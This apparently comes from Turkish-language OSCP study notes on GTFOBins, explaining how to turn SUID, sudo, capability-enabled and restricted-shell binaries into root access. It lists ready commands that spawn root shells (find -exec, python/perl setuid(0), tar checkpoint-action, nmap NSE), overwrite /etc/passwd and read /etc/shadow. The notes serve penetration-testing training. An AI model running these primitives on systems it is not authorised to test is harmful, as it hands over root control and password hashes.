GTFOBins Metodolojisi (SUID / sudo / capabilities / limited-shell breakout)
GTFOBins'i bir referans katalog olarak nasıl kullanacağın: bir binary'yi (find, tar, vim, python...) SUID, sudo, capabilities veya kısıtlı kabuk (rbash) bağlamlarına göre sorgulayıp doğru breakout primitifini (Shell/Command/SUID/Sudo/Capabilities/File read-write) seçme metodolojisi ve OSCP'de en sık çıkan örnekler.
- Bir kullanıcı shell'i
- İstismar edilecek binary'nin tespiti (SUID taraması, sudo -l çıktısı, getcap çıktısı veya kısıtlı kabuktaki izin verilen komutlar)
Komutlar
find / -perm -4000 -type f 2>/dev/null getcap -r / 2>/dev/null find . -exec /bin/sh -p \; -quit ./bash -p ./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' ./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' # via cap_setuid+ep perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh less /etc/profile vi -c ':!/bin/sh' /dev/null LFILE=/etc/passwd; ./cp -f /tmp/evil_passwd "$LFILE" echo 'os.execute("/bin/sh")' > /tmp/x.nse; nmap --script=/tmp/x.nse GTFOBins Nedir, Niye Bir Metodoloji?
GTFOBins (Get The F*** Out Binaries), Unix binary’lerinin meşru özelliklerini kötüye kullanarak güvenlik kısıtlamalarını aşmak için bir referans katalogtur. Tek tek exploit ezberlemek yerine, eline geçen herhangi bir ayrıcalıklı binary için “bu binary’yi nasıl bir kabuğa/komuta/dosya işlemine çevirebilirim?” sorusunu sistematik cevaplayan bir akış sunar. OSCP’de privesc’in belkemiğidir.
Önce Bağlamı Belirle (En Kritik Adım)
GTFOBins her binary’yi fonksiyon etiketlerine göre listeler. Hangi etikete bakacağın, binary’yi hangi bağlamda bulduğuna bağlıdır:
- SUID →
find / -perm -4000 -type f 2>/dev/nullile bulduğun setuid-root binary. GTFOBins’te ilgili binary’nin SUID bölümüne bak. - Sudo →
sudo -lçıktısında izin verilen binary. Sudo bölümüne bak. - Capabilities →
getcap -r / 2>/dev/nullçıktısındacap_setuid+epgibi yetenek taşıyan binary. Capabilities bölümüne bak. - Limited shell / rbash → kısıtlı kabukta çalıştırabildiğin sınırlı komutlar (pager, editör, ping…). Shell veya Command bölümüne bak.
- File read / File write → kabuk alamasan bile, ayrıcalıklı binary ile root-okunur/yazılır dosyalara erişip /etc/shadow oku ya da /etc/passwd’a satır ekle.
Önemli ayrım: SUID ve Capabilities bağlamlarında genellikle setuid(0) çağrısı şarttır (yoksa effective UID düşer veya kalıcı root olmaz), oysa Sudo bağlamında zaten root olarak çalıştığın için sadece bir alt-kabuk açman yeter. Aynı binary’nin sudo ve SUID satırları bu yüzden farklı görünür (örn. python: sudo’da düz os.system, SUID’de önce os.setuid(0)).
Breakout Primitifleri
GTFOBins satırları birkaç tekrar eden primitif etrafında döner:
- Alt-kabuk açma:
-exec /bin/sh(find),--checkpoint-action=exec(tar),:!sh(vim/vi),!sh(less/man). - Yorumlayıcı içinden komut:
os.system()/os.execute()/system()(python/lua/awk/perl/ruby/php). - Dosya yazma: ayrıcalıklı
cp/tee/dd/vimile /etc/passwd veya /etc/sudoers üzerine yazma — kabuk açmaya gerek kalmadan root. - Dosya okuma: ayrıcalıklı
cat/less/base64/xxdile /etc/shadow, SSH anahtarı veya kök yapılandırma okuma.
Sık Çıkan Örnekler (OSCP)
SUID/sudo bağlamında neredeyse her zaman çalışan binary’ler: bash -p, find ... -exec, python -c, perl -e, vim/vi/nano, less/more/man, awk, tar, cp, nmap (eski sürüm), env, nice, socat. Bir SUID binary listede yoksa GTFOBins’te de yoksa, custom binary’dir → strings/ltrace ile relative PATH çağrısı (lnx-privesc-path) veya kütüphane enjeksiyonu (lnx-privesc-ldpreload) ara.
İş Akışı Özeti
- Binary’leri topla: SUID (
find -perm -4000), sudo (sudo -l), caps (getcap -r /). - Her binary için bağlamı seç ve GTFOBins’te o fonksiyon bölümünü aç.
- Doğru primitifi kopyala; SUID/caps’te
setuid(0)/-pgerektiğini unutma. - Kabuk alamıyorsan File-write (passwd/sudoers) veya File-read (shadow) primitifine düş.
idile root’u doğrula.
Tuzaklar
- SUID bash’te
-pkoymazsan modern bash effective UID’i düşürür ve root kaybedilir. os.setuid(0)izni reddedilirse binary muhtemelen capability’siz/SUID’siz — yanlış bağlamı denemişsindir.- Wildcard senaryolarında (cron + tar/rsync), GTFOBins primitifi argüman enjeksiyonuyla birleşir (bkz. lnx-privesc-wildcard).
- Limited-shell kaçışından sonra PATH ve TTY genelde bozuktur;
export PATH=/usr/bin:/binve pty upgrade yap (lnx-shell-upgrade).